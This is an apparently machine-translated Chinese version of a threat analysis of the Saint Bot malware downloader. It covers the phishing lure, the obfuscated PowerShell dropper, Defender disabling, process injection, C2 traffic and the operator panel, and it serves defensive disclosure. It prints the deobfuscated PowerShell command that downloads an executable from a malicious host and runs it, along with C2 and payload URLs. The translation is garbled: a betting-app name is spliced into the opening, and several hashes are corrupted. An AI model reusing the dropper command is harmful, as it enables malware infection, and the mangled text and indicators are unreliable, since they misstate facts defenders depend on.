本文作者是hasherezade.Hossein Jazi和Erika Noerenberg的贡献
2021年3月下旬,恶意软件字节的分析师必威平台APP发现了一封钓鱼邮件,附件中的zip文件包含不熟悉的恶意软件。zip文件中包含一个PowerShell脚本,伪装成一个比特币钱包的链接。根据分析,混淆的PowerShell下载程序引发了一系列感染导致了一种鲜为人知的恶意软件,叫做圣机器人。事实证明,同样的恶意软件也在针对政府机构的针对性活动中传播。例如,我们发现以格鲁吉亚为目标的covid - 19主题活动,恶意的LNK文件是伴随着一个恶意文件和一个诱饵PDF..两个滴注器都导致圣机器实例[1] [2].
圣机器是最近出现的下载器,慢慢地迈出了势头。它被看见了偷窃者(即金牛座偷窃者或简单的AutoIt-based偷窃者)及其他装载机(例子).然而,它的设计允许它用来传播任何类型的恶意软件。虽然目前它似乎并不普遍,但有迹象表明它正在积极发展。此外,Saint Bot采用了各种各样的技术,尽管并不新颖,但考虑到它相对较新的外观,这表明它有一定程度的复杂性。
在这篇文章中,我们提供了这个恶意软件的详细深入,涵盖了从发布到利用后的威胁的深入分析。除了行为分析,我们还将探索在感染的各个阶段使用的其他技术,包括混淆和反分析技术、过程注射、指挥和控制基础设施和通信。
分配
此分析将致力于我们发现由网络钓鱼电子邮件分发的样本。它配有拉链附件:比特币,引诱受害者有机会进入比特币钱包。
一旦我们解压缩内容,我们就会提供一对文件:其中一个是.lnk文件,看起来似乎导致比特币钱包。它伴随着.txt文件,声称是这个钱包的密码。
txt文件说:
钱包在文件夹中。密码:privatemoney9999999usd
如果我们尝试通过Windows上的各种工具预览。lnk,它似乎会导致“C: Windows\System32\cmd.exe”。
但仔细看看里面,你会发现它实际上是一个恶意的PowerShell脚本,旨在从嵌入的链接下载下一阶段的恶意软件:
http:// 68468438438 [。] XYZ / SOFT / WIN230321 [。] exe
Deobfuscated脚本:
&& c:\ windows \ system32 \ cmd.exe / c powershell.exe -w 1 $ env:see_mask_nozonechecks = 1;导入模块Bitstransfer;start-bitstransfer -source“('http:// 68468438438 [。] xyz / soft / win230321.exe')”--destination $ env:temp \ windowsupdate.exe;。('cd')$ {env:temp};./windowsupdate.exe !%systemroot%\system32\shell32.dll.
下一阶段的二进制文件被下载到%TEMP%文件夹中,文件夹名为WindowsUpdate.exe,并从那里运行。
行为分析
一旦运行,主样本就会在%temp%目录中删除另一个可执行文件:
“C: \用户当地\ admin \ AppData \ \ Temp \ InstallUtil.exe”
然后下载两个可执行文件:def.exe和putty.exe。它将它们保存在%TEMP%中,并尝试使用提升的权限执行它们。
如果运行,第一个示例(def.exe)部署批处理脚本,禁用Windows防御程序。第二个样本(命名为putty.exe)是主要的恶意组件。
持久性
样本命名putty.exe安装自己并在“appdata / local”名为“z_%用户名%”中创建新目录。它丢弃脚本意味着部署其其他组件。相同的目录还包含NTDLL的副本,保存在名称“Wallpaper.mp4”下保存。此副本将由恶意二进制而不是合法的副本使用。
主示例被复制到Startup目录中,其名称模仿在受感染的系统中发现的一个合法可执行文件:
来自“AppData / Local / Z_ [User]”的脚本用于部署主样本。在第一次运行期间,可执行文件注入“ehstoraurhn.exe.”。下面我们可以看到HollowsHunter检测并掉落的注射植入物。
注入植入物后,它连接到其命令和控制服务器(C2)并继续其主要动作。观察网络流量我们将找到重复查询恶意软件的C2的URL:
http [:] // update-0019992 [。] ru / testcp1 / gate.php
在此URL之后,我们可以看到相关的C2面板,这些面板看起来典型为Saint Bot:
内部
. net下载器
示例从初始版本下载.lnk是一个下一阶段的下载器,用。net编写,并且是模糊的。它在其资源中携带另一个。net二进制文件,以位图的形式存储。
在运行期间,它对下一个阶段进行解码,该阶段最终是。net DLL (A98E108588E31F40CDAEAB1C04D0A394EB35A2E151F95FBF8A913CBA6A7FAA63)
DLL有一个内部名称zOAI.dll:
加载器调用来自DLL的方法:
DLL内的引用方法:
DLL的内容在字节码级别上非常模糊,对于dnSpy这样的典型工具来说是不可读的。
DLL是在InstallUtil.exe(e56a7e5d3ab9675555e2897fc3faa2dd9265008a4967a7d54030ab8184d2d38f) -这是一个标准的。net Framework安装工具-被放入%TEMP%文件夹。
已部署的.NET二进制文件负责下载和部署两个可执行文件:禁用Windows Defender,另一个是主要有效载荷(以打包形式)。
掉落的元素
%TEMP%目录下有两个可执行文件:
- 79年dd688046ef9f26ed0cf633cab305f18b46ce7affaa396813a9587ac2918bb0- - - - - -命名def.exe
- 2 d88db4098a72cd9cb58a760e6a019f6e1587b7b03d4f074c979e776ce110403- - - - - -命名putty.exe
第一个(def.exe)只是一个批处理脚本包装BatToExe工具。剧本:禁用窗口Defender.bat是为主机器人的部署做准备。
另一个(putty.exe)是实际有效载荷,由一个地下地穴.
打开负载
最后的有效载荷putty.exe可以在pe-sieve /的帮助下从内存中倾倒HollowsHunter.结果,我们得到以下解压缩样本:A4B705BAAC8BB2C0D2BC111AEAE9735FB8586D6D1DAB050F3C89FB12589470969
编译时间戳表明有效负载是相当新鲜的——从今年3月开始。
混淆
弦
往里面看,我们可以看到样本有些模糊。大多数字符串的编码方式让人想起简单的替换密码。
只有少数字符串是纯文本的——包括连接的url,但也有一些以“de”为前缀的命令,即“de:LoadMemory”,“de:regsvr32”,“de:LL”。我们还可以看到硬编码面板URL: " /testcp1/gate.php "。
属性的帮助可以消除某些(但不是所有)字符串的混淆牙线工具.我们可以找到此恶意软件的名称和版本:“Saint_v3” - 表示“Saint Bot版本3”。
其余的字符串已经在。的帮助下消除了混淆libPeConv(解码器的来源这里).完整的列表(以及它们的偏移量)是可用的这里.
API呼叫
动态加载API函数,使用在使用之前解码的名称:
它们可以通过各种方法的帮助来消除模糊,即根据消除模糊的字符串填充它们的名称。它们还可以在执行时自动跟踪,即借助TinyTracer.结果:样本
另一种更简单(但更具侵入性)的去混淆方法是在PE中重建Import Table,以包含动态添加的函数。我们可以用PE-sieve,可以选择完全导入表重建(/ imp 3).然而,我们必须记住,这种方法在某些情况下可能不太准确:与跟踪相比,它不会帮助消除通过寄存器进行的调用的混淆。
执行流程
该示例有3个可选的执行路径:
- 安装本身
- 注入本身ehstoraurhn.exe.
- 与C2沟通,进行主要操作
在执行任何操作之前,将执行一组环境检查。
防御性的检查
该样本通过执行许多检查来防止在受控(或其他禁止的)环境中执行。在检测到任何禁止条件的情况下,样本会下降并部署Del.Bat.脚本,该脚本应该在执行完成后删除它。在此之后,样本终止。
在环境检查中,我们可以找到一个语言环境检查。如果样本是为了避免攻击某些国家,这是很常见的。
在当前情况下,7个地区被列入黑名单:
- 1049年俄罗斯
- 1058年乌克兰
- 1059 -白俄罗斯
- 1067 - Armenian -亚美尼亚
- 1087 -哈萨克斯坦
- 2072年罗马尼亚
- 2073年-俄罗斯-摩尔多瓦
它还查询注册表,搜索虚拟环境的典型键。查询的注册表项:“SYSTEM\CurrentControlSet\Services\disk\Enum”已根据列表检查其值:QEMU, VIRTIO, VMWARE, VBOX, XEN。
请注意,检查都集中在一个函数中,由于这个事实,它们可以很容易地从样本中修补出来,使分析更容易。
互斥锁和持久性
恶意软件通过创建互斥锁“saint_v3”,防止自身部署多次。
如果互斥锁已经存在,则程序退出并报错。否则,它将继续安装持久性。它在“Software\Microsoft\Windows\CurrentVersion\ run”中设置一个运行键,以及一个名为“Maintenance”的计划任务。
过程注入
恶意软件将自己注入到一个新创建的进程“C: Windows\System32\EhStorAuthn.exe”。
它将有效负载写入使用ZwWriteVirtualMemory然后在。的帮助下执行NtQueueApcThread和ZwAlertResumeThread.这是一个众所周知的注入的变体,涉及到在主线程的APC队列中添加一个启动例程。它使用由NTDLL导出的专用api的低级版本。
这种技术中不太典型的问题在于,它不使用原始的NTDLL,而是使用它重新命名的副本——即它先前删除的那个副本wallpaper.mp4.这是一种旨在使检测变得更困难的简单(而且相当幼稚)的技巧。它基于这样一个假设:监视工具可能已经在原来的NTDLL中安装了钩子。通过使用这个DLL的重命名副本,作者试图防止被调用的api被那些钩子监视。在这种情况下,他们试图隐藏的api是与代码注入相关的api。
与C2通信
恶意软件带有C2服务器的地址,以及大门的地址。浏览器代理的名称也是硬编码的,以模糊的形式:Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 ybrowser /15.10.2454.3865 Safari/537.36”
机器人保留查询C2并等待命令。示例灯泡:
转移=ZG5ufX1ibnhnblRUVDVNcFFDVFRUdVFDTXk + SSBbIFVGeVpmSUlReUM1RFRUVDJQVFRUT3hiVFRUS1RUVDJDY2ZEKHopIGF5RmYoPDApIFFWZGd9NzcgYVVvIEAgYm1bN11BU1RUVHhUVFRMYzVDTTVGTSBHXXwgXUY1c1lRSEkgfE01c2NmRlRUVEFRRVlUVFRifQ = =
它解码为从受感染机器收集的参数列表,例如:
转移=- 994429369__admin__ windows 7 professional __ie__x32__ 1__ intel (R) Core(TM) i5-6400 CPU @ 2.70 ghz___3__ standard VGA Graphics adapter__high__ 24'
发送到/从C2的内容被相同的算法混淆,作为内部字符串引用decode_wstring-但是有一个不同的参数:-7(7表示编码,-7表示解码)而不是-6。首先对接收到的数据进行解码,然后用分隔符“\”将其分割成命令列表。
被处理的命令列表非常小。其中一些带有独特的前缀"德:”。
样品反应:
XE1Minngeuvgnxbnnwm1illjy3m6cxfdnxbms01tsvfjznfauurmbwzpzlw =
同样的反应被解码了:
\ de“programdata”http://name1d.site/file.exe \'
这意味着:从给定的链接下载可执行文件,将其放到“ProgramData”目录中,然后执行。
正如所选择的命令所显示的,这个机器人的角色是向受感染的机器提供进一步的有效负载。
该小组
比较我们对机器人的分析观察到的是始终有益的,服务器端实现相同的操作。在这种情况下,当我们获得对面板的泄漏源的访问时,它可能是可能的。
概述
这个机器人的面板非常小。
主要观点:
可用机器人列表附带了关于每个受害者机器的最低限度详细信息,例如用户名,IP,操作系统,架构,部署机器人的权限,国家,第一个和上次时间戳与C2的通信以及部署的操作。
任务面板允许发送命令到机器人:
在这种情况下,命令列表非常小,因为圣机器人充当了其他恶意软件的下载程序。可用的任务有:
- Download&Execute(其他载荷)
- 更新(Saint Bot)
- 卸载
此外,我们可以为应丢弃下载的有效载荷的位置设置几个其他选项。支持三目录:ProgramData,AppData,Temp:
操作员还可以设置各种过滤器,定义有效载荷将被删除的受感染机器:
检查实例为在discord上载的文件提供的有效载荷列表:
https [:] / / cdn.discordapp com/attachments/821809080812437507/822009014418276353/mixinte.exe。https [:] // cdn.discordapp [。] Com /附件/ 822140450072821791/822146649219661844 / Z.exe
的代码
与大多数恶意软件面板一样,这个面板是用PHP编写的,在其内部使用了一个SQL数据库。负责将任务发送给机器人的模块名为:tasks.php.我们可以通过分析可执行文件的代码找到我们观察到的相同的命令。三种类型的任务:
- de -代表:下载和执行
- 更新
- 卸载
我们还可以找到可用的参数,这些参数也与前面分析的可执行文件中硬编码的参数相关。
- regsvr32——代表:下载DLL并通过regsvr32运行它
- LL - 代表:下载DLL并通过LoadLibrary运行它
- 文件-从删除的文件运行
- Mem -表示手动加载和注入到进程中
进一步翻译了一些参数,这使得它们具有与BOT代码中可见的命令的匹配集:
对于“de”选项,我们得到:
- 德:噢
- 德:LoadMemory
- 德:regsvr32
与前面分析部分的命令相比:
创建任务后,将其添加到数据库中,待进一步轮询和执行:
进化
这个机器人是相当新的,正在缓慢而稳定地发展。最早版本找到通过类似的工件在1月份编制(0481年edd888e70087115d603ac5c18fe3e15420a28a71bc1ef753d74c27474e9a).它带有相同的命令集,只是稍微重写了代码。
它使用了一个互斥锁“saint2021_NewGeneration”,表明这个机器人自今年年初以来经历了一些重大变化。
相关的面板显示使用这个互斥锁的版本编号为2.0 (学分:@siri_urz.)
另一个下载器
Saint Bot是另一个小型下载程序。我们怀疑它是作为商品在某个暗网论坛上出售,并没有与任何特定的演员联系。它不像SmokeLoader,但相当新的,目前积极发展。作者似乎有一些关于恶意软件设计的知识,可以通过所使用的广泛技术可见。然而,所有部署的技术都是众所周知的和漂亮的标准,而不是到目前为止表现出大量的创造力。它会成为下一个宽阔的下载下载还是从景观中消失,推开其他一些类似的产品?我们还没有看到。
妥协的指标
初始滴管(.lnk)
63年d7b35ca907673634ea66e73d6a38486b0b043f3d511ec2d2209597c7898ae8
下一阶段。net drop
b0b0cb50456a989114468733428ca9ef8096b18bce256634811ddf81f2119274
net下载器
A98E108588E31F40CDAEAB1C04D0A394EB35A2E151F95FBF8A913CBA6A7FAA63
圣Bot(包装)
2 d88db4098a72cd9cb58a760e6a019f6e1587b7b03d4f074c979e776ce110403
圣机器人核心
A4B705BAAC8BB2C0D2BC111AEAE9735FB8586D6D1DAB050F3C89FB12589470969
下载工具领域
68468438438(。)xyz
C2服务器
更新- 0019992。俄罗斯
380222001 [。] XYZ
评论